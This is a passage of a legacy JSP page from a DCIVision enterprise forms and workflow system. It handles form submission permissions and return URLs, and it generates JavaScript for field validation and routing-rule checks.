
<%
/*
 * @(#)EditFormPageSubmission.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditFormPageSubmissionDB.jsp

  This class is reflecting business logic uses.

    @author           Vera Wang
    @company          DCIVision Limited
    @creation date    05/01/2004
    @version          $Revision: 1.141.2.16 $
*/
try{
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.form.bean.*"%>
<%@ page import="com.dcivision.form.dao.*"%>
<%@ page import="com.dcivision.form.core.*"%>
<%@ page import="com.dcivision.workflow.dao.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ taglib uri="/tags/wfm" prefix="wfm" %>
<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintFormSubmissionForm" scope="request" class="com.dcivision.form.web.MaintFormSubmissionForm"/>

<%!
  public String escapeJSString(String inStr) {
    if (inStr == null) {
      return("");
    }
    String output = inStr;
    output = TextUtility.replaceString(output, "\r", "");
    output = TextUtility.replaceString(output, "\\", "\\\\");
    output = TextUtility.replaceString(output, "\n", "\\n");
    output = TextUtility.replaceString(output, "'", "\\'");
    output = TextUtility.replaceString(output, "\"","\\\"");
    return(output);
  }
%>
<!-- Framework Javascript Begin -->
<script language="Javascript">
  <jsp:include page="/js/Variable.jsp"/>
</script>
<!-- Framework Javascript End -->
<script language="Javascript" src="<%= request.getContextPath() %>/js/FormFunction.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/FormAttachment.jsp" charset="UTF-8" type="text/javascript"></script>
<script src='<%= request.getContextPath() %>/dwr/interface/FormAjaxProcessor.js'></script>
<script src='<%= request.getContextPath() %>/dwr/engine.js'></script>
<script src='<%= request.getContextPath() %>/dwr/util.js'></script>

<%
  String LIST_NAME = "formPageList";

  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  if (!Utility.isEmpty(request.getParameter("formRecordID")) && !"null".equals(request.getParameter("formRecordID"))){
    maintFormSubmissionForm.setFormRecordID(request.getParameter("formRecordID"));
  }
  Integer submissionID;
  String formSubmissionID = request.getParameter("formSubmissionID");
  if ("null".equals(formSubmissionID)) {
    formSubmissionID = "";
  }

  int pageListSize =0;
  List formPageList = (List)request.getAttribute("formPageListName");
  if (request.getAttribute("formPageListName")!=null) {
    pageListSize = formPageList.size();
  }
  FormRecord formRecord = (FormRecord)request.getAttribute("formRecord");

%>

<html:form action="form/MaintFormSubmission" styleClass="form-style-2">
<html:javascript formName="maintFormSubmissionForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>

<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/
   String PRE_PAGE_HEAD_DIV = "PAGE_HEAD_DIV_";
   String PRE_PAGE_CONTENT_DIV = "PAGE_CONTENT_DIV_";
   String PRE_ADD_PAGE_CONTENT = "ADD_PAGE_CONTENT_";

   String FIELD_HEADER = "FB_FIELD_";

   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);

   String sPreviewValue = (String)request.getAttribute("preview");

   String sCurFunctionCode = SystemFunctionConstant.FORM_SUBMISSION;
   if("FORMSETUP".equals(request.getParameter("function")) || "SECTIONEDIT".equals(request.getParameter("function")) || "FORMEDIT".equals(request.getParameter("function")) || "FORMCOPY".equals(request.getParameter("function")) ){
     sCurFunctionCode = SystemFunctionConstant.FORM_SETUP;
   }else if("FORMTRACKING".equals(request.getParameter("function"))){
     sCurFunctionCode = SystemFunctionConstant.FORM_TRACK;
   }else if("FORMMONITOR".equals(request.getParameter("function"))){
     sCurFunctionCode = SystemFunctionConstant.FORM_MONITOR;
   }else if("WORKFLOW".equals(request.getParameter("function"))){
     sCurFunctionCode = SystemFunctionConstant.WORKFLOW_SUBMISSION;  // WF submit form (first step submit pending submission).  // falcon_add_5865
   }//else if("WORKFLOW".equals(request.getParameter("submitFunction"))){
    // sCurFunctionCode = SystemFunctionConstant.WORKFLOW_SUBMISSION;  // WF submit form (start).   // falcon_delete_5865
   //}
   SysFunction sysFunction = applicationContainer.getSysFunctionByFunctionCode(SystemFunctionConstant.DMS);

   String functionType = "";

   String isViewTask = "N";

   if(!Utility.isEmpty(request.getParameter("isViewTask")))
   isViewTask = request.getParameter("isViewTask");

   if(sPreviewValue != null){
     functionType="common.label.form_action_preview";
   }else if(GlobalConstant.NAV_MODE_VIEW.equals(maintFormSubmissionForm.getNavMode() )){

     functionType="common.label.form_action_view";
   }else if(GlobalConstant.NAV_MODE_NEW.equals(maintFormSubmissionForm.getNavMode() )){
     functionType="common.label.form_action_new";
   }else if(GlobalConstant.NAV_MODE_CHANGE.equals(maintFormSubmissionForm.getNavMode() )){
     functionType="common.label.form_action_copy";
   }else{
     functionType="common.label.form_action_edit";
   }


  boolean haveWorkflow = false;
  boolean isWorkflowProcess = false;
  if (!Utility.isEmpty(request.getParameter("workflowStepID")) && !"null".equals(request.getParameter("workflowStepID"))){
    isWorkflowProcess = true;
  }
  Integer sectionID = new Integer(1);
  java.text.SimpleDateFormat format = new java.text.SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
  String submissionStatus = FormSubmission.FORM_SUBMISSION_STATU_COMPLETED;
  int formPageNo = 0;
  Integer pageID = new Integer(1);
  String allPageIDStr = "";
  String allSectionIDStr = "";
  boolean hasCheckPermission = true;
  boolean isStepElementChange = false;
  boolean isStepElementRead = false;
  boolean isStepElementDisabled = true;
  boolean isStepElementMandatory = false;
  String formRecordPermission = "";
  String pagePermission = "";
  String sectionPermission = "";
  String elementPermission = "";
  boolean isShowWholeForm = "true".equals(request.getParameter("isShowWholeForm")) ? true : false;

  String isSubmission = request.getParameter("isSubmission");

  if (!Utility.isEmpty(maintFormSubmissionForm.getWorkflowRecordID()) && !"null".equals(maintFormSubmissionForm.getWorkflowRecordID())){
     haveWorkflow = true;
     if (isShowWholeForm && "FORMMONITOR".equals(request.getParameter("function"))){
       hasCheckPermission = false; // FORM MONITOR VIEW ALL CONTENT.
     }
   }else{
     if ("FORMSUBMISSION".equals(request.getParameter("function")) ){
       isSubmission = "true";
     } else if ("WORKFLOW".equals(request.getParameter("function")) ){
       isSubmission = "false";
     } else if ("FORMMONITOR".equals(request.getParameter("function")) || "FORMTRACKING".equals(request.getParameter("function"))){
       hasCheckPermission = false; // FORM MONITOR VIEW ALL CONTENT.
     }
   }

  if ("true".equals(isSubmission)){
    hasCheckPermission = false;
  }

  String workflowRecordID = (!Utility.isEmpty(request.getParameter("workflowRecordID")) && !"null".equals(request.getParameter("workflowRecordID"))) ? request.getParameter("workflowRecordID") : "";
  Integer workflowStepID = (!Utility.isEmpty(request.getParameter("workflowStepID")) && !"null".equals(request.getParameter("workflowStepID"))) ? new Integer(request.getParameter("workflowStepID")) : new Integer(0);
  if (workflowStepID.intValue()==0 && !Utility.isEmpty(request.getAttribute("workflowStepID")) && !"null".equals(request.getAttribute("workflowStepID"))){
    workflowStepID = new Integer(request.getAttribute("workflowStepID").toString());
  }

  if (workflowStepID.intValue()==0 && !Utility.isEmpty(request.getParameter("formDataSeq")) && !"null".equals(request.getParameter("formDataSeq")) ){
     //FORM MONITOR VIEW ALL CONTENT.
     hasCheckPermission = false;
  }

  //Routing rule
  FormRoutingRuleDAObject formRoutingRuleDAO = new FormRoutingRuleDAObject(sessionContainer,conn);
  FormElementDAObject formElementDAO = new FormElementDAObject(sessionContainer,conn);
  List routingRuleList = formRoutingRuleDAO.getListByFormRecordID(request.getParameter("formRecordID"));
  String onchangeElementIDStr = "";
  //check label permission.
  FormSubmissionManager formSubmissionManager =  new FormSubmissionManager(sessionContainer,conn);

  boolean isViewUserStep = false;
  boolean isShowLastRecord = false;
  // if view step, then display edited elements.
  if (!Utility.isEmpty(request.getParameter("isViewUserStep")) && "true".equals(request.getParameter("isViewUserStep"))){
     isViewUserStep = true;
  }
  if (!Utility.isEmpty(request.getParameter("isShowLastRecord")) && "true".equals(request.getParameter("isShowLastRecord"))){
     isShowLastRecord = true;
  }

  //get the returnURL
  String returnURL = "";

  if (GlobalConstant.NAV_MODE_NEW.equals(maintFormSubmissionForm.getNavMode() ) || GlobalConstant.NAV_MODE_EDIT.equals(maintFormSubmissionForm.getNavMode() ) || GlobalConstant.NAV_MODE_CHANGE.equals(maintFormSubmissionForm.getNavMode() )) {
      if ("WORKFLOW".equals(request.getParameter("submitFunction"))){

        returnURL=request.getContextPath()+"/workflow/ListWorkflowSubmission.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
      }else if ("listFormSubmissionDetail".equals(request.getParameter("functionFrom")) ) {
         returnURL=request.getContextPath()+"/form/ListFormSubmissionDetail.do?formRecordID="+request.getParameter("formRecordID")+"&workflowRecordID="+workflowRecordID+"&navMode=V&function=ListFormSubmission&opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
      } else if ("ListFormMonitoringHistory".equals(request.getParameter("functionFrom")) ) {
         returnURL=request.getContextPath()+"/form/ListFormMonitoringHistory.do?formRecordID="+request.getParameter("formRecordID")+"&workflowRecordID="+workflowRecordID+"&opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
      }else if ("FORMMONITOR".equals(request.getParameter("function")) ) {
         returnURL=request.getContextPath()+"/form/ListFormMonitoringDetail.do?formRecordID="+request.getParameter("formRecordID")+"&workflowRecordID="+workflowRecordID+"&opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
      }else{
         returnURL=request.getContextPath()+"/form/ListFormSubmission.do?formRecordID="+request.getParameter("formRecordID")+"&workflowRecordID="+workflowRecordID+"&opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
      }
    }else if (GlobalConstant.NAV_MODE_VIEW.equals(maintFormSubmissionForm.getNavMode() )) {
      if ("FORMTRACKING".equals(request.getParameter("function")) ) {
        returnURL=request.getContextPath()+"/form/ListFormTrackingDetail.do?formRecordID="+request.getParameter("formRecordID")+"&workflowRecordID="+workflowRecordID+"&opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
      }else if ("SearchSubmission".equals(request.getParameter("functionFrom")) ) {
        returnURL=request.getContextPath()+"/form/SearchSubmission.do?formRecordID="+request.getParameter("formRecordID")+"&workflowRecordID="+workflowRecordID+"&navMode=V&function="+request.getParameter("function")+"&opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
      } else if ("ListFormMonitoringHistory".equals(request.getParameter("functionFrom")) ) {
        returnURL=request.getContextPath()+"/form/ListFormMonitoringHistory.do?formRecordID="+request.getParameter("formRecordID")+"&workflowRecordID="+workflowRecordID+"&opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
      }else if ("ListFormAuditTrail".equals(request.getParameter("functionFrom"))){
        returnURL=request.getContextPath()+"/form/ListFormAuditTrail.do?formRecordID="+request.getParameter("formRecordID")+"&workflowRecordID="+workflowRecordID+"&opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
      } else if ("FORMMONITOR".equals(request.getParameter("function")) ) {
        returnURL=request.getContextPath()+"/form/ListFormMonitoringDetail.do?formRecordID="+request.getParameter("formRecordID")+"&workflowRecordID="+workflowRecordID+"&opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
      } else if ("FORMSUBMISSION".equals(request.getParameter("function")) && "null".equals(request.getParameter("functionFrom"))){
        returnURL=request.getContextPath()+"/form/ListFormSubmission.do?formRecordID="+request.getParameter("formRecordID")+"&workflowRecordID="+workflowRecordID+"&opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
      }else if ("listFormSubmissionDetail".equals(request.getParameter("functionFrom")) ) {
        returnURL=request.getContextPath()+"/form/ListFormSubmissionDetail.do?formRecordID="+request.getParameter("formRecordID")+"&workflowRecordID="+workflowRecordID+"&navMode=V&function=ListFormSubmission&opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
      } else if ("FORMSETUP".equals(request.getParameter("function")) ) {
        returnURL=request.getContextPath()+"/form/ListFormRecord.do?formRecordID="+request.getParameter("formRecordID")+"&workflowRecordID="+workflowRecordID+"&opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
      } else {
        returnURL=request.getContextPath()+"/form/ListFormSubmission.do?formRecordID="+request.getParameter("formRecordID")+"&workflowRecordID="+workflowRecordID+"&opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
      }
    }else if ("FORMCOPY".equals(request.getParameter("function")) ) {
        returnURL=request.getContextPath()+"/form/MaintFormRecord.do?navMode=C&ID="+request.getParameter("formRecordID");
    }else if ("FORMEDIT".equals(request.getParameter("function")) ) {
        returnURL=request.getContextPath()+"/form/MaintFormRecord.do?navMode=E&ID="+request.getParameter("formRecordID");
    }else if ("SECTIONEDIT".equals(request.getParameter("function")) ) {
        returnURL=request.getContextPath()+"/form/MaintFormSectionFormElement.do?navMode=E&formPageID="+request.getParameter("formPageID")+"&formRecordID="+request.getParameter("formRecordID");
    }else {
        returnURL=request.getContextPath()+"/form/ListFormRecord.do?formGroupID="+session.getAttribute("formGroupID")+"&opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
    }
  //get returnURL end

  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/%>


<script language="Javascript">

<!--
var frm = document.maintFormSubmissionForm;

function getSQLvalues(id,fieldName){
//  alert("id="+id + "  fieldName="+fieldName);
  fieldValue = $(fieldName).value;
//  alert("fieldValue="+fieldValue);
  FormAjaxProcessor.dynamicValueProcess(id,fieldValue,setSQLResult);
  return false;
}
function setSQLResult(str){
//  alert(str);
  id="";
  value="";
  if(str==null||str.length<1){
//    alert("<bean:message key='form.lable.sql_error'/>");
  }else{
    for(i=0; i<str.length;i++){
      if(i%2==0){
        id = str[i];
      }if(i%2==1){
        value = str[i];
        //alert("id="+id+" value="+value);
        if(value=="" || value==null)
        continue;
        var  element = $(id);
        if(element!=null){
         // alert("element.type="+element.type);
          if(element.type=="radio"){
            var  elements= document.getElementsByName(id);
           // alert("elements.length  = "+elements.length);
            for (j=0;j<elements.length;j++){
              if (elements[j].value != value){
                elements[j].checked=false;
              }else{
                elements[j].checked=true;
                break;
              }
            }
          }else{
            DWRUtil.setValue(id,value);
          }
        }
      }
    }
  }
}

function OpCustSave(haveWorkflow,navMode) {
  //hideBlock();
  document.maintFormSubmissionForm.status.value = "<%=FormSubmission.FORM_SUBMISSION_STATU_SAVED%>";
  document.maintFormSubmissionForm.submitFlag.value = "<%=FormSubmission.FORM_SUBMISSION_STATU_DRAFT%>";
  if (navMode=="<%=GlobalConstant.NAV_MODE_CHANGE%>"){
    document.maintFormSubmissionForm.ID.value = "";
  }
  return check('false');

}


function OpStepSave(isCheckRequired) {
  //hideBlock();
  document.maintFormSubmissionForm.status.value = "S";
  if ("true"!=isCheckRequired){
    document.maintFormSubmissionForm.submitFlag.value = "<%=FormSubmission.FORM_SUBMISSION_STATU_DRAFT%>";
  }else{
    document.maintFormSubmissionForm.submitFlag.value = "<%=FormSubmission.FORM_SUBMISSION_STATU_SAVED%>";
  }
  return check(isCheckRequired);

}

function OpCustSubmit(submissionStatus,navMode) {
  if (!confirm("<bean:message key='form.message.confirm_submit_form'/>")) {
    return(false);
  }
  if (navMode=="<%=GlobalConstant.NAV_MODE_CHANGE%>"){
    document.maintFormSubmissionForm.ID.value = "";
  }
  document.maintFormSubmissionForm.submitFlag.value = "<%=FormSubmission.FORM_SUBMISSION_STATU_SAVED%>";
  document.maintFormSubmissionForm.status.value = submissionStatus;

  return check('true');
}

function getOntimechange(sfieldID){
  var sHour = document.maintFormSubmissionForm.elements['TIME_HOUR_'+sfieldID].value;
  var sMin = document.maintFormSubmissionForm.elements['TIME_MIN_'+sfieldID].value;
  document.maintFormSubmissionForm.elements['FB_FIELD_'+sfieldID].value = sHour + ":" + sMin;
  //alert(document.maintFormSubmissionForm.elements['FB_FIELD_'+sfieldID].value);
}
function checkAgainstRegux(which,regx,errorMsg,elementName){
  if (regx.test(which.value)){
    return true;
  }else{
    alert (elementName+" "+errorMsg);
    var pageID = which.name.substring(9,which.name.indexOf("_",9));
    showFormTab(pageID);
    which.focus();
    return false;
  }
}
function check(isCheckRequired) {

<%

for (int pp=0; pp<formPageList.size(); pp++){
  FormPage tmpFormPage = (FormPage)formPageList.get(pp);
  pageID = tmpFormPage.getID();
  if (!"T".equals(request.getParameter("preview"))){
      formRecordPermission = tmpFormPage.getFormRecordPermission();
  }

  if (WorkflowStep.FORM_PROCESS_PERMISSION_MANDATORY.equals(formRecordPermission)){
      formRecordPermission = WorkflowStep.FORM_PROCESS_PERMISSION_CHANGE;
  }

  if (WorkflowStep.FORM_PROCESS_PERMISSION_SUBMIT.equals(formRecordPermission)){
       hasCheckPermission = false;
  }
  if (hasCheckPermission){
     if (!Utility.isEmpty(tmpFormPage.getPermission())){
        pagePermission = tmpFormPage.getPermission();
     }else {
        pagePermission = formRecordPermission;
     }
     if (WorkflowStep.FORM_PROCESS_PERMISSION_MANDATORY.equals(pagePermission)){
         pagePermission = WorkflowStep.FORM_PROCESS_PERMISSION_CHANGE;
     }

   if(WorkflowStep.FORM_PROCESS_PERMISSION_HIDE.equals(pagePermission)){
     continue;
   }
  }
  List formSectionList_Validate = tmpFormPage.getFormSectionList();

  if(!Utility.isEmpty(request.getParameter("workflowStepIDStep"))&&!"0".equals(request.getParameter("workflowStepIDStep"))&& !"null".equals(request.getParameter("workflowStepIDStep")))
  isWorkflowProcess = true;

  for (int i=0; i<formSectionList_Validate.size(); i++) {
    FormSection tmpFormSection = (FormSection) formSectionList_Validate.get(i);
    sectionID = tmpFormSection.getID();
    if (hasCheckPermission){
      if (!Utility.isEmpty(tmpFormSection.getPermission())){
         sectionPermission = tmpFormSection.getPermission();
      }else {
         sectionPermission = pagePermission;
      }
      if (WorkflowStep.FORM_PROCESS_PERMISSION_MANDATORY.equals(sectionPermission)){
         sectionPermission = WorkflowStep.FORM_PROCESS_PERMISSION_CHANGE;
      }

    if(WorkflowStep.FORM_PROCESS_PERMISSION_HIDE.equals(sectionPermission)){
     continue;
   }
    }

    //Integer workflowStepID = new Integer(0);

    // Begin Validate
    FormSection tmpFormSection_Validate = (FormSection) formSectionList_Validate.get(i);
    List formElementList_Validate = tmpFormSection_Validate.getFormElementList();

    for (int j=0; j<formElementList_Validate.size(); j++) {
      isStepElementChange = false;
      isStepElementRead = false;
      isStepElementDisabled = true;
    isStepElementMandatory= false;
      FormElement tmpFormElement_Validate = (FormElement) formElementList_Validate.get(j);
      if (hasCheckPermission){
         if (!Utility.isEmpty(tmpFormElement_Validate.getPermission())){
             elementPermission = tmpFormElement_Validate.getPermission();
         }else {
             elementPermission = sectionPermission;
         }
         if (WorkflowStep.FORM_PROCESS_PERMISSION_READ.equals(elementPermission)){
           isStepElementChange = false;
           isStepElementRead = true;
           isStepElementDisabled = false;
         } else if (WorkflowStep.FORM_PROCESS_PERMISSION_CHANGE.equals(elementPermission) || WorkflowStep.FORM_PROCESS_PERMISSION_MANDATORY.equals(elementPermission)){
           isStepElementChange = true;
           isStepElementRead = false;
           isStepElementDisabled = false;
       if(WorkflowStep.FORM_PROCESS_PERMISSION_MANDATORY.equals(elementPermission)){
       isStepElementMandatory = true;
       }
         } else {
           isStepElementDisabled = true;
         }
      }else{
        isStepElementDisabled = false;
        isStepElementChange = true;
        isStepElementRead = false;
      }
      if (GlobalConstant.NAV_MODE_VIEW.equals(maintFormSubmissionForm.getNavMode()) || isViewTask.equals("Y")  || "T".equals(request.getParameter("preview"))){  //view
        if (isStepElementChange){
           isStepElementChange = false;
        }
      }
      if (isStepElementDisabled){
        continue;
      }

       // String fieldName =FIELD_HEADER+pageID+"_"+tmpFormSection_Validate.getID()+"_1_"+tmpFormElement_Validate.getRowIndex()+"_"+tmpFormElement_Validate.getID()+"_1";
       String fieldName =FIELD_HEADER+pageID+"_"+tmpFormSection_Validate.getID()+"_"+tmpFormElement_Validate.getID();
       if (FormElementType.ELEMENT_FILE.equals(tmpFormElement_Validate.getElementType())){
         fieldName ="FB_FILES_"+pageID+"_"+tmpFormSection_Validate.getID()+"_"+tmpFormElement_Validate.getID();
       }
        // Begin check that the field is Required.
        %>
       var objectElement = document.maintFormSubmissionForm.<%=FIELD_HEADER%><%=pageID%>_<%=tmpFormSection_Validate.getID()%>_<%=tmpFormElement_Validate.getID()%>;

       if (isCheckRequired=='true'){
        <%
        if("Y".equals(tmpFormElement_Validate.getRequiredFlag()) && isStepElementChange||isStepElementMandatory){
          if(!FormElementType.isSelection(tmpFormElement_Validate.getElementType())){ // Selection Type
            if (!FormElementType.ELEMENT_CURRENT_DATE.equals(tmpFormElement_Validate.getElementType())&& !FormElementType.ELEMENT_CURRENT_LOGIN.equals(tmpFormElement_Validate.getElementType())){

%>
            if (document.maintFormSubmissionForm.<%=fieldName%>.value == "" || document.maintFormSubmissionForm.<%=fieldName%>.value == 'null') {
              showFormTab("<%=pageID%>");
              alert("<%=tmpFormElement_Validate.getFieldName()%> <bean:message key='form.message.is_required'/>");
<%            if(FormElementType.ELEMENT_DATE_PICKER.equals(tmpFormElement_Validate.getElementType())){ %>
                document.maintFormSubmissionForm.dummy_<%=fieldName%>.focus(); //DATEPICKER
<%            } else if (!FormElementType.ELEMENT_TIME_PICKER.equals(tmpFormElement_Validate.getElementType()) && !FormElementType.ELEMENT_FILE.equals(tmpFormElement_Validate.getElementType()) && !FormElementType.ELEMENT_USER_PICKER.equals(tmpFormElement_Validate.getElementType())) { %>
                document.maintFormSubmissionForm.<%=fieldName%>.focus();
<%            }        %>
        return (true);
            }

<%        }
      }
      if(FormElementType.isSelection(tmpFormElement_Validate.getElementType())){
        FormSelectionField tmpformSelectionField = tmpFormElement_Validate.getFormSelectionField();
        List tmpformSelectionFieldOptionList = tmpformSelectionField.getFormSelectionFieldOptionList();

        %>
        var checkedFlag;
        var radioFlag;
        checkedFlag = false;
        radioFlag = false;
        <%
        for (int k=0; k<tmpformSelectionFieldOptionList.size(); k++) {
          FormSelectionFieldOption tmpFormSelectionFieldOption = (FormSelectionFieldOption) tmpformSelectionFieldOptionList.get(k);
          %>
          <%
          if (FormElementType.ELEMENT_SELECTION_BOX.equals(tmpFormElement_Validate.getElementType())){ %>
            if (document.maintFormSubmissionForm.<%=fieldName%>.value=="") {
              showFormTab("<%=pageID%>");
              alert("<%=tmpFormElement_Validate.getFieldName()%> <bean:message key='form.message.is_required'/>");
              return (true);
            }
        <%}
          if (FormElementType.ELEMENT_CHECK_BOX.equals(tmpFormElement_Validate.getElementType())){ %>

            if (document.maintFormSubmissionForm.<%=fieldName%>_<%=tmpFormSelectionFieldOption.getID()%>.checked ) {
              checkedFlag = true;
            }

        <%}
          if (FormElementType.ELEMENT_RADIO_BUTTON.equals(tmpFormElement_Validate.getElementType())){
                  %>
            if(document.maintFormSubmissionForm.<%=fieldName%>[<%=k%>].checked == true){
              radioFlag = true;
            }

          <%
          }
        }
        if (FormElementType.ELEMENT_CHECK_BOX.equals(tmpFormElement_Validate.getElementType())){
        %>
          if(!checkedFlag){
            alert("<%=tmpFormElement_Validate.getFieldName()%> <bean:message key='form.message.is_required'/>");
            return (true);
          }
        <%}
        if (FormElementType.ELEMENT_RADIO_BUTTON.equals(tmpFormElement_Validate.getElementType())){
        %>
          if(!radioFlag ){
            showFormTab("<%=pageID%>");
            alert("<%=tmpFormElement_Validate.getFieldName()%> <bean:message key='form.message.is_required'/>");
            return (true);
          }
        <%
        }
       }
      }
      %>
      }// end check that the field is Required.

      // begin check validation rule.
     <%
      FormValidationRule formValidationRule = null;
      if (!Utility.isEmpty(tmpFormElement_Validate.getValidationRule())){
        FormValidationRuleDAObject formValidationRuleDAO = new FormValidationRuleDAObject(sessionContainer,conn);
        formValidationRule = (FormValidationRule)formValidationRuleDAO.getObjectByID(new Integer(tmpFormElement_Validate.getValidationRule()));
      }
      if (formValidationRule != null ){%>
         if (objectElement && objectElement.value !='null' && objectElement.value!=""){
           if (!checkAgainstRegux(objectElement,<%=formValidationRule.getRegularExpr()%>,'<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(),formValidationRule.getErrorMsgKey())%>','<%=tmpFormElement_Validate.getFieldName()%>')){return false;}
         }
     <%}%>
     // end check validation rule.

   <%}%>
  if (typeof OpCustomizedValidation_<%=sectionID.toString()%> != 'undefined'){
    try{
    if(!OpCustomizedValidation_<%=sectionID.toString()%>()){
       return (false);
    }
    }catch(e){
      alert((e.description?e.description:e));
    }
  }
  <%
   }
 }
  %>

  if (!ruleCheck()){return false;}
  for (var ii = 0; ii < document.maintFormSubmissionForm.elements.length; ii++) {
     if (document.maintFormSubmissionForm.elements[ii].name != "" && document.maintFormSubmissionForm.elements[ii].name.substring(0,9) == "FB_FIELD_"){
        document.maintFormSubmissionForm.elements[ii].disabled = false;
     }
  }

  OpSave();
  return (false);
}

function hideBlock() {
    //workflowInformation.style.display = "none";
}

function showBlock() {
    //workflowInformation.style.display = "block";
    alert("<bean:message key='form.message.please_be_aware_for_workflow_information'/>");
}

function ruleCheck(){
//Begin check Routing Rule,the rule type is verify.

 <%
 for (int nn=0; nn<routingRuleList.size(); nn++){
   FormRoutingRule formRoutingRule = (FormRoutingRule)routingRuleList.get(nn);
   %>
   var tmpexpression ="";
   var bExpress=false;
   var sCompare="";
   var operand1="";
   var operand2="";
   var isCheck=false;

   <%
    if (FormRoutingRule.ROUTING_TYPE_VERIFY.equals(formRoutingRule.getRuleType())){
      String[] targetElementStr = new String[1];
      String targetElementID = "";
      if (!Utility.isEmpty(formRoutingRule.getTargetElementID()) && !"null".equals(formRoutingRule.getTargetElementID())){
        targetElementStr = TextUtility.splitString(formRoutingRule.getTargetElementID(),"_");
        targetElementID = targetElementStr[4];
      }
      String opterationType = formRoutingRule.getOperationType();
      String mandatory = formRoutingRule.getCheckRule();
      String operationEquation = TextUtility.replaceString((String)formRoutingRule.getFormOperationEquation(), "!!!", "+");
      String formEquation = TextUtility.replaceString((String)formRoutingRule.getFormEquation(), "!!!", "+");
      String[] tmpItemArr = TextUtility.splitString(operationEquation, "|");
      String tmpElement = "";

      //Begin Opteration Type is Number.
      if (WorkflowStepFormEquat.OPERATION_TYPE_NUMBER.equals(opterationType)){

        for(int j=0; j<tmpItemArr.length; j++){
          if(tmpItemArr[j].startsWith(WorkflowStepFormEquat.ELEMENT_PREFIX_CHAR)){
            tmpElement = tmpItemArr[j].substring(WorkflowStepFormEquat.ELEMENT_PREFIX_CHAR.length());
            %>
            tmpexpression += frm.FB_FIELD_<%=tmpElement%>.value;
            if (sCompare==""){
              operand1 += frm.FB_FIELD_<%=tmpElement%>.value;
            }else{
              operand2 += frm.FB_FIELD_<%=tmpElement%>.value;
            }
            <%
          } else {%>
            tmpexpression +=  "<%=tmpItemArr[j].trim()%>";
            if ("<%=tmpItemArr[j].trim()%>".indexOf(">=<")){
              sCompare = "<%=tmpItemArr[j].trim()%>";
            }
            if (sCompare==""){
              operand1 += frm.FB_FIELD_<%=tmpElement%>.value;
            }else{
              operand2 += frm.FB_FIELD_<%=tmpElement%>.value;
            }
          <%
          }
        }

        %>

        if (operand1!="" && operand2!=""){
          eval("if("+tmpexpression+")bExpress=true");
          isCheck = true;
        }
        if (bExpress){
          <%
          if (!Utility.isEmpty(targetElementID) && FormRoutingRule.CHECK_RULE_MANDATORY.equals(mandatory)){
            FormElement formElement = (FormElement)formElementDAO.getObjectByID(new Integer(targetElementID));
            %>
            if (document.maintFormSubmissionForm.<%=FIELD_HEADER%><%=formRoutingRule.getTargetElementID().substring(1,formRoutingRule.getTargetElementID().toString().length())%>.value==""){
              alert("<%=formElement.getFieldName()%> <bean:message key='form.message.is_required'/>");
              return (false);
            }
        <%}%>
        }else{
          if (isCheck){
            alert("<%=formEquation%>");
            return (false);
          }
        }
    <%}else if (!Utility.isEmpty(opterationType) && WorkflowStepFormEquat.OPERATION_TYPE_DATE.equals(opterationType)){
      //End Opteration Type is Number.
      //Begin Opteration Type is DatePicker.
        for(int j=0; j<tmpItemArr.length; j++){
          if(tmpItemArr[j].startsWith(WorkflowStepFormEquat.ELEMENT_PREFIX_CHAR)){
            tmpElement = tmpItemArr[j].substring(WorkflowStepFormEquat.ELEMENT_PREFIX_CHAR.length());
            if (j==0){
            %>
              operand1 = (frm.FB_FIELD_<%=tmpElement%>.value).substring(0,10);
           <%
            }else{
            %>
              operand2 = (frm.FB_FIELD_<%=tmpElement%>.value).substring(0,10);
            <%
            }
          }else if(WorkflowStepFormEquat.DATE_OPERATION_BEFORE.equals(tmpItemArr[j].trim())){%>
            sCompare = "<";
        <%}else if(WorkflowStepFormEquat.DATE_OPERATION_EQUALS.equals(tmpItemArr[j].trim())){%>
            sCompare = "=";
        <%}else if(WorkflowStepFormEquat.DATE_OPERATION_AFTER.equals(tmpItemArr[j].trim())){%>
            sCompare = ">";
        <%}else {
            if (j>0){
          %>
